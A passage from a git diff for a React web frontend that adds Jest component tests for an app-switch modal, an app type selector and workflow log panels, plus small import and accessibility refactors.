+  // Prop-driven UI states such as disabling actions.
+  describe('Props', () => {
+    it('should disable the start button when name is empty', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      renderComponent()
+
+      // Act
+      const nameInput = screen.getByDisplayValue('Demo App(copy)')
+      await user.clear(nameInput)
+
+      // Assert
+      expect(screen.getByRole('button', { name: 'app.switchStart' })).toBeDisabled()
+    })
+
+    it('should render the apps full warning when plan limits are reached', () => {
+      // Arrange
+      mockEnableBilling = true
+      mockPlan = {
+        ...mockPlan,
+        usage: { ...mockPlan.usage, buildApps: 10 },
+        total: { ...mockPlan.total, buildApps: 10 },
+      }
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('apps-full')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'app.switchStart' })).toBeDisabled()
+    })
+  })
+
+  // User interactions that trigger navigation and API calls.
+  describe('Interactions', () => {
+    it('should call onClose when cancel is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { onClose } = renderComponent()
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'app.newApp.Cancel' }))
+
+      // Assert
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should switch app and navigate with push when keeping original', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { appDetail, notify, onClose, onSuccess } = renderComponent()
+      mockSwitchApp.mockResolvedValueOnce({ new_app_id: 'new-app-001' })
+      const setItemSpy = jest.spyOn(Storage.prototype, 'setItem')
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'app.switchStart' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSwitchApp).toHaveBeenCalledWith({
+          appID: appDetail.id,
+          name: 'Demo App(copy)',
+          icon_type: 'emoji',
+          icon: '🚀',
+          icon_background: '#FFEAD5',
+        })
+      })
+      expect(onSuccess).toHaveBeenCalledTimes(1)
+      expect(onClose).toHaveBeenCalledTimes(1)
+      expect(notify).toHaveBeenCalledWith({ type: 'success', message: 'app.newApp.appCreated' })
+      expect(setItemSpy).toHaveBeenCalledWith(NEED_REFRESH_APP_LIST_KEY, '1')
+      expect(mockPush).toHaveBeenCalledWith('/app/new-app-001/workflow')
+      expect(mockReplace).not.toHaveBeenCalled()
+    })
+
+    it('should delete the original app and use replace when remove original is confirmed', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { appDetail } = renderComponent({ inAppDetail: true })
+      mockSwitchApp.mockResolvedValueOnce({ new_app_id: 'new-app-002' })
+
+      // Act
+      await user.click(screen.getByText('app.removeOriginal'))
+      const confirmButton = await screen.findByRole('button', { name: 'common.operation.confirm' })
+      await user.click(confirmButton)
+      await user.click(screen.getByRole('button', { name: 'app.switchStart' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDeleteApp).toHaveBeenCalledWith(appDetail.id)
+      })
+      expect(mockReplace).toHaveBeenCalledWith('/app/new-app-002/workflow')
+      expect(mockPush).not.toHaveBeenCalled()
+      expect(mockSetAppDetail).toHaveBeenCalledTimes(1)
+    })
+
+    it('should notify error when switch app fails', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const { notify, onClose, onSuccess } = renderComponent()
+      mockSwitchApp.mockRejectedValueOnce(new Error('fail'))
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'app.switchStart' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(notify).toHaveBeenCalledWith({ type: 'error', message: 'app.newApp.appCreateFailed' })
+      })
+      expect(onClose).not.toHaveBeenCalled()
+      expect(onSuccess).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/app/switch-app-modal/index.tsx b/web/app/components/app/switch-app-modal/index.tsx
index a7e1cea429..742212a44d 100644
--- a/web/app/components/app/switch-app-modal/index.tsx
+++ b/web/app/components/app/switch-app-modal/index.tsx
@@ -6,7 +6,7 @@ import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
 import AppIconPicker from '../../base/app-icon-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Checkbox from '@/app/components/base/checkbox'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
diff --git a/web/app/components/app/text-generate/item/index.tsx b/web/app/components/app/text-generate/item/index.tsx
index 4d0a17d790..1e61ff18c7 100644
--- a/web/app/components/app/text-generate/item/index.tsx
+++ b/web/app/components/app/text-generate/item/index.tsx
@@ -14,7 +14,7 @@ import { useStore as useAppStore } from '@/app/components/app/store'
 import type { WorkflowProcess } from '@/app/components/base/chat/types'
 import type { SiteInfo } from '@/models/share'
 import { useChatContext } from '@/app/components/base/chat/chat/context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ContentSection from './content-section'
 import MetaSection from './meta-section'
 import { useMoreLikeThisState, useWorkflowTabs } from './hooks'
diff --git a/web/app/components/app/text-generate/saved-items/index.tsx b/web/app/components/app/text-generate/saved-items/index.tsx
index c22a4ca6c2..e6cf264cf2 100644
--- a/web/app/components/app/text-generate/saved-items/index.tsx
+++ b/web/app/components/app/text-generate/saved-items/index.tsx
@@ -8,7 +8,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import copy from 'copy-to-clipboard'
 import NoData from './no-data'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { SavedMessage } from '@/models/debug'
 import { Markdown } from '@/app/components/base/markdown'
 import Toast from '@/app/components/base/toast'
diff --git a/web/app/components/app/type-selector/index.spec.tsx b/web/app/components/app/type-selector/index.spec.tsx
new file mode 100644
index 0000000000..346c9d5716
--- /dev/null
+++ b/web/app/components/app/type-selector/index.spec.tsx
@@ -0,0 +1,144 @@
+import React from 'react'
+import { fireEvent, render, screen, within } from '@testing-library/react'
+import AppTypeSelector, { AppTypeIcon, AppTypeLabel } from './index'
+import { AppModeEnum } from '@/types/app'
+
+jest.mock('react-i18next')
+
+describe('AppTypeSelector', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Covers default rendering and the closed dropdown state.
+  describe('Rendering', () => {
+    it('should render "all types" trigger when no types selected', () => {
+      render(<AppTypeSelector value={[]} onChange={jest.fn()} />)
+
+      expect(screen.getByText('app.typeSelector.all')).toBeInTheDocument()
+      expect(screen.queryByRole('tooltip')).not.toBeInTheDocument()
+    })
+  })
+
+  // Covers prop-driven trigger variants (empty, single, multiple).
+  describe('Props', () => {
+    it('should render selected type label and clear button when a single type is selected', () => {
+      render(<AppTypeSelector value={[AppModeEnum.CHAT]} onChange={jest.fn()} />)
+
+      expect(screen.getByText('app.typeSelector.chatbot')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.clear' })).toBeInTheDocument()
+    })
+
+    it('should render icon-only trigger when multiple types are selected', () => {
+      render(<AppTypeSelector value={[AppModeEnum.CHAT, AppModeEnum.WORKFLOW]} onChange={jest.fn()} />)
+
+      expect(screen.queryByText('app.typeSelector.all')).not.toBeInTheDocument()
+      expect(screen.queryByText('app.typeSelector.chatbot')).not.toBeInTheDocument()
+      expect(screen.queryByText('app.typeSelector.workflow')).not.toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.clear' })).toBeInTheDocument()
+    })
+  })
+
+  // Covers opening/closing the dropdown and selection updates.
+  describe('User interactions', () => {
+    it('should toggle option list when clicking the trigger', () => {
+      render(<AppTypeSelector value={[]} onChange={jest.fn()} />)
+
+      expect(screen.queryByRole('tooltip')).not.toBeInTheDocument()
+
+      fireEvent.click(screen.getByText('app.typeSelector.all'))
+      expect(screen.getByRole('tooltip')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByText('app.typeSelector.all'))
+      expect(screen.queryByRole('tooltip')).not.toBeInTheDocument()
+    })
+
+    it('should call onChange with added type when selecting an unselected item', () => {
+      const onChange = jest.fn()
+      render(<AppTypeSelector value={[]} onChange={onChange} />)
+
+      fireEvent.click(screen.getByText('app.typeSelector.all'))
+      fireEvent.click(within(screen.getByRole('tooltip')).getByText('app.typeSelector.workflow'))
+
+      expect(onChange).toHaveBeenCalledWith([AppModeEnum.WORKFLOW])
+    })
+
+    it('should call onChange with removed type when selecting an already-selected item', () => {
+      const onChange = jest.fn()
+      render(<AppTypeSelector value={[AppModeEnum.WORKFLOW]} onChange={onChange} />)
+
+      fireEvent.click(screen.getByText('app.typeSelector.workflow'))
+      fireEvent.click(within(screen.getByRole('tooltip')).getByText('app.typeSelector.workflow'))
+
+      expect(onChange).toHaveBeenCalledWith([])
+    })
+
+    it('should call onChange with appended type when selecting an additional item', () => {
+      const onChange = jest.fn()
+      render(<AppTypeSelector value={[AppModeEnum.CHAT]} onChange={onChange} />)
+
+      fireEvent.click(screen.getByText('app.typeSelector.chatbot'))
+      fireEvent.click(within(screen.getByRole('tooltip')).getByText('app.typeSelector.agent'))
+
+      expect(onChange).toHaveBeenCalledWith([AppModeEnum.CHAT, AppModeEnum.AGENT_CHAT])
+    })
+
+    it('should clear selection without opening the dropdown when clicking clear button', () => {
+      const onChange = jest.fn()
+      render(<AppTypeSelector value={[AppModeEnum.CHAT]} onChange={onChange} />)
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.clear' }))
+
+      expect(onChange).toHaveBeenCalledWith([])
+      expect(screen.queryByRole('tooltip')).not.toBeInTheDocument()
+    })
+  })
+})
+
+describe('AppTypeLabel', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Covers label mapping for each supported app type.
+  it.each([
+    [AppModeEnum.CHAT, 'app.typeSelector.chatbot'],
+    [AppModeEnum.AGENT_CHAT, 'app.typeSelector.agent'],
+    [AppModeEnum.COMPLETION, 'app.typeSelector.completion'],
+    [AppModeEnum.ADVANCED_CHAT, 'app.typeSelector.advanced'],
+    [AppModeEnum.WORKFLOW, 'app.typeSelector.workflow'],
+  ] as const)('should render label %s for type %s', (_type, expectedLabel) => {
+    render(<AppTypeLabel type={_type} />)
+    expect(screen.getByText(expectedLabel)).toBeInTheDocument()
+  })
+
+  // Covers fallback behavior for unexpected app mode values.
+  it('should render empty label for unknown type', () => {
+    const { container } = render(<AppTypeLabel type={'unknown' as AppModeEnum} />)
+    expect(container.textContent).toBe('')
+  })
+})
+
+describe('AppTypeIcon', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Covers icon rendering for each supported app type.
+  it.each([
+    [AppModeEnum.CHAT],
+    [AppModeEnum.AGENT_CHAT],
+    [AppModeEnum.COMPLETION],
+    [AppModeEnum.ADVANCED_CHAT],
+    [AppModeEnum.WORKFLOW],
+  ] as const)('should render icon for type %s', (type) => {
+    const { container } = render(<AppTypeIcon type={type} />)
+    expect(container.querySelector('svg')).toBeInTheDocument()
+  })
+
+  // Covers fallback behavior for unexpected app mode values.
+  it('should render nothing for unknown type', () => {
+    const { container } = render(<AppTypeIcon type={'unknown' as AppModeEnum} />)
+    expect(container.firstChild).toBeNull()
+  })
+})
diff --git a/web/app/components/app/type-selector/index.tsx b/web/app/components/app/type-selector/index.tsx
index 0f6f050953..f213a89a94 100644
--- a/web/app/components/app/type-selector/index.tsx
+++ b/web/app/components/app/type-selector/index.tsx
@@ -2,7 +2,7 @@ import { useTranslation } from 'react-i18next'
 import React, { useState } from 'react'
 import { RiArrowDownSLine, RiCloseCircleFill, RiExchange2Fill, RiFilter3Line } from '@remixicon/react'
 import Checkbox from '../../base/checkbox'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
@@ -20,6 +20,7 @@ const allTypes: AppModeEnum[] = [AppModeEnum.WORKFLOW, AppModeEnum.ADVANCED_CHAT
 
 const AppTypeSelector = ({ value, onChange }: AppSelectorProps) => {
   const [open, setOpen] = useState(false)
+  const { t } = useTranslation()
 
   return (
     <PortalToFollowElem
@@ -37,12 +38,21 @@ const AppTypeSelector = ({ value, onChange }: AppSelectorProps) => {
             'flex cursor-pointer items-center justify-between space-x-1 rounded-md px-2 hover:bg-state-base-hover',
           )}>
             <AppTypeSelectTrigger values={value} />
-            {value && value.length > 0 && <div className='h-4 w-4' onClick={(e) => {
-              e.stopPropagation()
-              onChange([])
-            }}>
-              <RiCloseCircleFill className='h-3.5 w-3.5 cursor-pointer text-text-quaternary hover:text-text-tertiary' />
-            </div>}
+            {value && value.length > 0 && (
+              <button
+                type="button"
+                aria-label={t('common.operation.clear')}
+                className="group h-4 w-4"
+                onClick={(e) => {
+                  e.stopPropagation()
+                  onChange([])
+                }}
+              >
+                <RiCloseCircleFill
+                  className="h-3.5 w-3.5 text-text-quaternary group-hover:text-text-tertiary"
+                />
+              </button>
+            )}
           </div>
         </PortalToFollowElemTrigger>
         <PortalToFollowElemContent className='z-[1002]'>
diff --git a/web/app/components/app/workflow-log/detail.spec.tsx b/web/app/components/app/workflow-log/detail.spec.tsx
new file mode 100644
index 0000000000..b594be5f04
--- /dev/null
+++ b/web/app/components/app/workflow-log/detail.spec.tsx
@@ -0,0 +1,319 @@
+/**
+ * DetailPanel Component Tests
+ *
+ * Tests the workflow run detail panel which displays:
+ * - Workflow run title
+ * - Replay button (when canReplay is true)
+ * - Close button
+ * - Run component with detail/tracing URLs
+ */
+
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DetailPanel from './detail'
+import { useStore as useAppStore } from '@/app/components/app/store'
+import type { App, AppIconType, AppModeEnum } from '@/types/app'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockRouterPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockRouterPush,
+  }),
+}))
+
+// Mock the Run component as it has complex dependencies
+jest.mock('@/app/components/workflow/run', () => ({
+  __esModule: true,
+  default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
+    <div data-testid="workflow-run">
+      <span data-testid="run-detail-url">{runDetailUrl}</span>
+      <span data-testid="tracing-list-url">{tracingListUrl}</span>
+    </div>
+  ),
+}))
+
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
+}))
+
+// Mock ahooks for useBoolean (used by TooltipPlus)
+jest.mock('ahooks', () => ({
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  author_name: 'Test Author',
+  icon_type: 'emoji' as AppIconType,
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: 'workflow' as AppModeEnum,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('DetailPanel', () => {
+  const defaultOnClose = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    useAppStore.setState({ appDetail: createMockApp() })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should render workflow title', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should render close button', () => {
+      const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Close button has RiCloseLine icon
+      const closeButton = container.querySelector('span.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+    })
+
+    it('should render Run component with correct URLs', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-456' }) })
+
+      render(<DetailPanel runID="run-789" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789/node-executions')
+    })
+
+    it('should render WorkflowContextProvider wrapper', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('workflow-context-provider')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should not render replay button when canReplay is false (default)', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
+    })
+
+    it('should render replay button when canReplay is true', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      expect(screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })).toBeInTheDocument()
+    })
+
+    it('should use empty URL when runID is empty', () => {
+      render(<DetailPanel runID="" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions
+  // --------------------------------------------------------------------------
+  describe('User Interactions', () => {
+    it('should call onClose when close button is clicked', async () => {
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+
+      const { container } = render(<DetailPanel runID="run-123" onClose={onClose} />)
+
+      const closeButton = container.querySelector('span.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+
+      await user.click(closeButton!)
+
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should navigate to workflow page with replayRunId when replay button is clicked', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay-test' }) })
+
+      render(<DetailPanel runID="run-to-replay" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay-test/workflow?replayRunId=run-to-replay')
+    })
+
+    it('should not navigate when replay clicked but appDetail is missing', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: undefined })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // URL Generation Tests
+  // --------------------------------------------------------------------------
+  describe('URL Generation', () => {
+    it('should generate correct run detail URL', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
+
+      render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run')
+    })
+
+    it('should generate correct tracing list URL', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
+
+      render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run/node-executions')
+    })
+
+    it('should handle special characters in runID', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
+
+      render(<DetailPanel runID="run-with-special-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-id/workflow-runs/run-with-special-123')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Store Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Store Integration', () => {
+    it('should read appDetail from store', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'store-app-id' }) })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/store-app-id/workflow-runs/run-123')
+    })
+
+    it('should handle undefined appDetail from store gracefully', () => {
+      useAppStore.setState({ appDetail: undefined })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Run component should still render but with undefined in URL
+      expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle empty runID', () => {
+      render(<DetailPanel runID="" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
+    })
+
+    it('should handle very long runID', () => {
+      const longRunId = 'a'.repeat(100)
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
+
+      render(<DetailPanel runID={longRunId} onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent(`/apps/app-id/workflow-runs/${longRunId}`)
+    })
+
+    it('should render replay button with correct aria-label', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toHaveAttribute('aria-label', 'appLog.runDetail.testWithParams')
+    })
+
+    it('should maintain proper component structure', () => {
+      const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Check for main container with flex layout
+      const mainContainer = container.querySelector('.flex.grow.flex-col')
+      expect(mainContainer).toBeInTheDocument()
+
+      // Check for header section
+      const header = container.querySelector('.flex.items-center.bg-components-panel-bg')
+      expect(header).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Tooltip Tests
+  // --------------------------------------------------------------------------
+  describe('Tooltip', () => {
+    it('should have tooltip on replay button', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      // The replay button should be wrapped in TooltipPlus
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toBeInTheDocument()
+
+      // TooltipPlus wraps the button with popupContent
+      // We verify the button exists with the correct aria-label
+      expect(replayButton).toHaveAttribute('type', 'button')
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/filter.spec.tsx b/web/app/components/app/workflow-log/filter.spec.tsx
new file mode 100644
index 0000000000..04216e5cc8
--- /dev/null
+++ b/web/app/components/app/workflow-log/filter.spec.tsx
@@ -0,0 +1,537 @@
+/**
+ * Filter Component Tests
+ *
+ * Tests the workflow log filter component which provides:
+ * - Status filtering (all, succeeded, failed, stopped, partial-succeeded)
+ * - Time period selection
+ * - Keyword search
+ */
+
+import { useState } from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Filter, { TIME_PERIOD_MAPPING } from './filter'
+import type { QueryParam } from './index'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockTrackEvent = jest.fn()
+jest.mock('@/app/components/base/amplitude/utils', () => ({
+  trackEvent: (...args: unknown[]) => mockTrackEvent(...args),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createDefaultQueryParams = (overrides: Partial<QueryParam> = {}): QueryParam => ({
+  status: 'all',
+  period: '2', // default to last 7 days
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('Filter', () => {
+  const defaultSetQueryParams = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Should render status chip, period chip, and search input
+      expect(screen.getByText('All')).toBeInTheDocument()
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+
+    it('should render all filter components', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Status chip
+      expect(screen.getByText('All')).toBeInTheDocument()
+      // Period chip (shows translated key)
+      expect(screen.getByText('appLog.filter.period.last7days')).toBeInTheDocument()
+      // Search input
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Status Filter Tests
+  // --------------------------------------------------------------------------
+  describe('Status Filter', () => {
+    it('should display current status value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'succeeded' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Chip should show Success for succeeded status
+      expect(screen.getByText('Success')).toBeInTheDocument()
+    })
+
+    it('should open status dropdown when clicked', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+
+      // Should show all status options
+      await waitFor(() => {
+        expect(screen.getByText('Success')).toBeInTheDocument()
+        expect(screen.getByText('Fail')).toBeInTheDocument()
+        expect(screen.getByText('Stop')).toBeInTheDocument()
+        expect(screen.getByText('Partial Success')).toBeInTheDocument()
+      })
+    })
+
+    it('should call setQueryParams when status is selected', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'succeeded',
+        period: '2',
+      })
+    })
+
+    it('should track status selection event', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Fail'))
+
+      expect(mockTrackEvent).toHaveBeenCalledWith(
+        'workflow_log_filter_status_selected',
+        { workflow_log_filter_status: 'failed' },
+      )
+    })
+
+    it('should reset to all when status is cleared', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'succeeded' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // Find the clear icon (div with group/clear class) in the status chip
+      const clearIcon = container.querySelector('.group\\/clear')
+
+      expect(clearIcon).toBeInTheDocument()
+      await user.click(clearIcon!)
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+      })
+    })
+
+    test.each([
+      ['all', 'All'],
+      ['succeeded', 'Success'],
+      ['failed', 'Fail'],
+      ['stopped', 'Stop'],
+      ['partial-succeeded', 'Partial Success'],
+    ])('should display correct label for %s status', (statusValue, expectedLabel) => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: statusValue })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText(expectedLabel)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Time Period Filter Tests
+  // --------------------------------------------------------------------------
+  describe('Time Period Filter', () => {
+    it('should display current period value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ period: '1' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+    })
+
+    it('should open period dropdown when clicked', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+
+      // Should show all period options
+      await waitFor(() => {
+        expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.last4weeks')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.last3months')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.allTime')).toBeInTheDocument()
+      })
+    })
+
+    it('should call setQueryParams when period is selected', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.allTime'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '9',
+      })
+    })
+
+    it('should reset period to allTime when cleared', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ period: '2' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // Find the period chip's clear button
+      const periodChip = screen.getByText('appLog.filter.period.last7days').closest('div')
+      const clearButton = periodChip?.querySelector('button[type="button"]')
